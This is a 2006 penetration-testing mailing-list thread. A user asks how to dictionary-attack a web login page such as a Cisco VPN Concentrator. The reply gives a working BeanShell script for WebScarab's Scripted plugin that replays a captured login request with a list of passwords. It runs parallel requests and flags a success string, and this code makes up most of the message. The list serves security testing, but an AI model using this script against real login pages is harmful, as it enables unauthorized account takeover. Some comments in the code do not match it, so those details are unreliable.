Troy Fletcher wrote:
Sparky,
For brute forcing WebPages, I use Perl scripts combined with Linux tools
like cURL and Wget. If you know any programming/scripting languages, I
can point you in the right direction. To help see the traffic exchange
for a WebPage login attempts I recommend using a proxy like WebScarab;
once you see the POSTs or GETs automating attacks with cURL is easy. I
don't know any _good_ pre-made WebPage bruteforce tools, but I'm sure
that if someone else does; they'll share.
WebScarab can also be used to brute force web pages, using the Scripted
plugin. One major advantage to using WebScarab is that your attack
is/can be multi-threaded automatically: WebScarab will attempt up to 4
simultaneous requests.
Here is a simple script that uses an existing request as a template (for
URL's, methods, headers, etc) and just replaces the request body. In my
example, I'll take words from an predefined array, but the technique can
very easily be extended to reading lines from a file.
The script language is BeanShell, which is very similar to Java
(BeanShell can evaluate actual Java classes in "strict" mode).
// check the source (or the appendix in the online help) for the
// methods you can use on Request and Response
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
// This function/method is the main loop.
// You need to provide three methods that this function will invoke
//
// boolean hasMoreRequests() - if there are more requests to issue
// Request getNextRequest() - the next request to submit
// void handleResponse(Response response) - allows you to do something
// with the responses obtained
//
void fetchParallel() {
// while we have more requests to submit, or we are busy processing
// the last requests sent off/waiting for a response
while (hasMoreRequests() || scripted.isAsyncBusy()) {
// while there are fewer than 4 outstanding requests
// and we have more to try
while (scripted.hasAsyncCapacity() && hasMoreRequests()) {
scripted.submitAsyncRequest(getNextRequest());
}
// if there is a response waiting to be processed
if (scripted.hasAsyncResponse()) {
while (scripted.hasAsyncResponse()) {
handleResponse(scripted.getAsyncResponse());
}
} else Thread.sleep(100);
}
}
String[] words = new String[] {"word1", "word2", "word3", "word4"};
int nextWord = 0;
boolean stop = false;
// This gets a copy of the request with ID 17, from the past
// conversations. Adjust to suit your particular situation.
Request template = scripted.getRequest(53);
boolean hasMoreRequests() {
return nextWord < words.length || stop;
}
Request getNextRequest() {
Request req = new Request(template); // make a copy
String word = words[nextWord++]; // increment the counter
out.println("Trying " + word);
// Note that the content is always a byte array
// you might also want to consider URLEncoding your words?
// Also note that IF there is an existing Content-Length header
// it will automatically be updated to match the length of the
// content
req.setContent(("username=joe&password=" + word).getBytes());
return req;
}
void handleResponse(Response response) {
byte[] content = response.getContent();
if (response.getStatus().equals("200") && content != null) {
String html = new String(content); // consider encoding?
if (html.indexOf("successful")>-1) {
// we're in! Save it for review
scripted.addConversation(response);
stop = true;
}
}
}
// start the main loop
fetchParallel();
-----Original Message-----
From: listbounce@securityfocus.com
[mailto:listbounce@securityfocus.com]On Behalf Of 09sparky@gmail.com
Sent: Sunday, October 15, 2006 12:03 PM
To: pen-test@securityfocus.com
Subject: BruteForcing?
This is more of a general brute forcing question, but one which I could
use some assistance.
[snip]
Second question: Brute forcing also, but against WebPages. For example,
a Cisco 3000 VPN Concentrator, I have the webpage asking for
username/password. How would I attempt to dictionary attack this?
Thanks,
Sparky
------------------------------------------------------------------------
This List Sponsored by: Cenzic
Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------
